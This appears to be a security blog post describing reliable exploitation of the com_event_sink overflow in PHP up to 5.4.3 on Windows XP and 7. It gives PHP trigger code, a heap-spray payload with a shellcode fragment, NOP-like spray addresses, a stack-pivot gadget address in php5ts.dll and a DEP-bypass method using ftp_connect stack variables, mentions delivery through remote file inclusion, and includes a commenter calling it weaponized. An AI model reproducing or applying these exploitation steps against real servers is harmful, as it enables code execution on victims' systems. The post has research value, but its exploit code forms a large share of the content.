View RSS Feed

Rashid bhatt

Reliable PHP Exploitation from Windows XP to Windows 7

Rating: 6 votes, 4.17 average.
Theexploit code for PHP <= 5.4.3 (com_event_sink) Code Execution 82307: PHP com_event_sink Function Overflow DoS was published by Rahul Saasi some time before on this forum and both ofus had a nice discussion about the vulnerability and possible attack vectors.

Itried to dig deeper into the issue because exploiting this vulnerability with 100% reliability was quite challenging. In fact the exploit provided by both of us (rahul and me ) earlier, is not reliable at all because of the following reasons.

1:The shellcode buffer and the place from where EAX is fetched depends HIGHLY upon pre-determined memory location from the heap region A single change(even a white space) in the source code of the exploit will result in change in memory location of our shellcode buffer.

2:It may work if the exploit code is the lone script executing on the victim machine, but again memory offset will definitely change from OS to OS and service pack to service pack. so if you are able to inject the php exploit through an RFI(remote file inclusion) web vulnerability to attack the server the exploit is most likely not going to work.

Thesecond part of this vulnerability is the main challenge and gives a false impression of ASLR even on the systems not running under such aprotection.

Now, i have figured out two ways to reliably exploit on different OS'es.These methods can be used to bypass DEP and ASLR (separately) with 100% accuracy across different platforms.

What’s wrong with the previous exploits?

The previous exploits seemed to be working when the above given constraints are not present i.e under a single system and it was the only script running, with no change in the source code of the exploit.

This will give you an insight of the problems arising with the exploit code.

Lets consider the following code to trigger the vulnerability

$buffer= str_repeat("a", 100); << edi

$vVar= new VARIANT(0x04040404);
$vVar2= new VARIANT("hello");

com_event_sink($vVar,$vVar2, $buffer);


In this case the register output will be

EAX 00000000
ECX 00362940
EDX 0110D598
EBX 00000000
ESP 00C1F9F8
ESI 04040404
EDI0110D608 ASCII <<< edi"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
EIP102F59BD php5ts.102F59BD

Fine, so EDI happens to hold our buffer at the location 0x0110D608

NOTE:Please don’t be confused with the ASCII representation of our buffer . Basically in ZEND Engine the php strings are stored in unicode(2 bytes) form because we are passing the string to com_event_sink function , its later on converted to ASCII representation using zend_parse_parameter() ZEND API function.

As done in source code of com_com.c

File:com_com.c fucntion:com_event_sink()

>> parameter parsed
if(FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"Oo|z/",
&object, php_com_variant_class_entry,&sinkobject, &sink)){

obj= CDNO_FETCH(object);

if (sink && Z_TYPE_P(sink) ==IS_ARRAY) {
/* 0 => typelibname, 1 => dispname */

if (zend_hash_index_find(Z_ARRVAL_P(sink), 0,(void**)&tmp) == SUCCESS)
typelibname =Z_STRVAL_PP(tmp);
if (zend_hash_index_find(Z_ARRVAL_P(sink), 1,(void**)&tmp) == SUCCESS)
dispname = Z_STRVAL_PP(tmp);
}else if (sink != NULL) {
dispname= Z_STRVAL_P(sink); //
convert to string representation

Now,because the values are stored somewhere in the heap and unfortunately that region of heap also happens to hold the information regarding the parse table of PHP source code in close boundaries. Now even a single change in the source code of the exploit will result in the change of address location of our buffer (EDI in this case) in the heap region. To show that, i will add a single comment line in the exploit source code and then we will examine the difference between the previous and the next memory location.

//Hello this is a comment
$buffer= str_repeat("a", 100); << edi

$vVar= new VARIANT(0x04040404);
$vVar2= new VARIANT("hello");

com_event_sink($vVar,$vVar2, $buffer);


EAX 00000000
ECX 00362940
EDX 0110D538
EBX 00000000
ESP 00C1F9F8
ESI 04040404
EDI 0110D5A8 ASCII"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
EIP 102F59BD php5ts.102F59BD

Now its clearly seen below that there is a huge difference between the memory location of our buffer that comes after we make a slight change in the source code. Wonder how much will be the difference when there a large amount of code added ?

EDI– 0110D608
EDI– 0110D5A8

That brings out large unpredictability if the vulnerability is exploited in such a way.

Exploiting with Browser fashioned Heap spraying(Bypass ASLR).

As we have already seen the unpredictability if offsets are hard-coded ,we can use browser styled heap spraying for precision.

We will spray the heap enough to reach to the memory location 0x04040404 and also we will use this address as our jump location with spray value as 0x04 itself.


$buffer= str_repeat("\x04\x04", 27108862).
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31".// Metasploit calc.exe shellcode

$vVar= new VARIANT(0x04040404);
$vVar2= new VARIANT("hello");

com_event_sink($vVar,$vVar2, NULL);

Now when the jump takes place somewhere near 0x04040404 , machine will encounter 0x04 bytes which disassemble to addal,4 which basically is a NOP code.

Following is the basic idea behind the heap spray

MOVEAX,DWORD PTR DS:[ESI] << EAX == 0x04040404
CALLDWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404

Note:Because i tested the exploit using a Virtual machine which has limited memory capacity of 512MB, you may have to choose different spray addresses on machine with higher memory range
The following memory addresses can be used as spray as they also behave as NOP 's

0x05050505 = ADD EAX,5050505 <<< acts as a NOP

0x0c0c0c0c = OR AL, 0C << also acts as a NOP

0x0d0d0d0d = OR EAX,0d0d0d0d....

Knocking Stack variables for Precision( Bypass DEP fast no need to spray).

As, we have already seen that static offsets in the heap region of the php interpreter are quite unreliable to use. Now in order to be precise in offsets , we can use stack memory region for that we need a way to populate the stack memory region . At the same time we know that there is no way by which ,we can populate stack using php variables because they are stored in heap rather than on stack.

While checking out the ZEND Engine source code i figured out a way to populate stack region

PHP modules uses zend_parse_parameters()API function to get the variables passed to a php fucntion in C Styled declaration.

Somemodule store the variables in heap and some declare them as local

for example if you read the sourcecode of php_ftp.c from ftp module ofphp

/*{{{ proto resource ftp_connect(string host [, int port [, inttimeout]])
Opens a FTP stream*/
ftpbuf_t *ftp;
char *host;
int host_len;
long port = 0;
long timeout_sec = FTP_DEFAULT_TIMEOUT;

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ll",&host, &host_len, &port, &timeout_sec) == FAILURE){

you can see that many variable like host_len, port and timeout are stored on the stack , we can use this function to populate the stack memory.

This subroutine happens to be present at 0x10300B79 inside php5ts.dll

hereis the disassembly

10300B79 55 PUSH EBP
10300B7C 83EC 10 SUB ESP,10
10300B7F 56 PUSH ESI
10300B80 8B75 1C MOV ESI,DWORD PTR SS:[EBP+1C]
10300B83 57 PUSH EDI
10300B87 50 PUSH EAX
10300B88 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
10300B8B 50 PUSH EAX
10300B8C 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10]
10300B8F 50 PUSH EAX
10300B93 50 PUSH EAX
10300B94 68 B8A95410 PUSH php5ts.1054A9B8 ; ASCII "s|ll"
10300B99 56 PUSH ESI
10300B9A FF75 08 PUSH DWORD PTR SS:[EBP+8]
10300BA2 C745 FC 5A000000 MOV DWORD PTR SS:[EBP-4],5A
10300BA9 E8 B21CD4FF CALL php5ts.zend_parse_parameters
10300BAE 83C4 1C ADD ESP,1C

Now in this case we will try to use the port to populate stack region at 0x00C1FA88
and as we know that the vulnerability triggers by the following assembly sequence

CALLDWORD PTR DS:[EAX+10] << xchg esp,edi

Wewill use a stack pivoting gadget to make ESP point to EDI ( whichhold our ROP payload )

php5ts.dll is quite dense and luckily a lot of gadgets related to stack pivoting are found there

we will use the gadget found in php5ts.dll at 0x10005767 XCHG ESP, EDI,

Set the value of timeout variable to “0x00C1FA88 – 10” , and laterwhen the call [eax +10] takes place it will land to 0x10005767XCHG ESP, EDI Gadget.

Videos: In the following videos i am running the same exploit on windows XP(no SP), XP sp2, and windows 7. The video is to demonstrates the reliability of the techniques used.

Note:Because the PHP binary has been compiled with /NXCOMPACT MSVC compiler flag, which basically enforces the loader to use DEP for the binary , If you are testing with heap spraying please disable DEP before proceeding .

Windows 7

Windows XP SP2

Windows XP (NOSP)
Tags: None Add / Edit Tags


  1. fb1h2s's Avatar
    Wow u just weaponized it this looks sexy, am just backlinking this blog form mine.


Total Trackbacks 0
Trackback URL: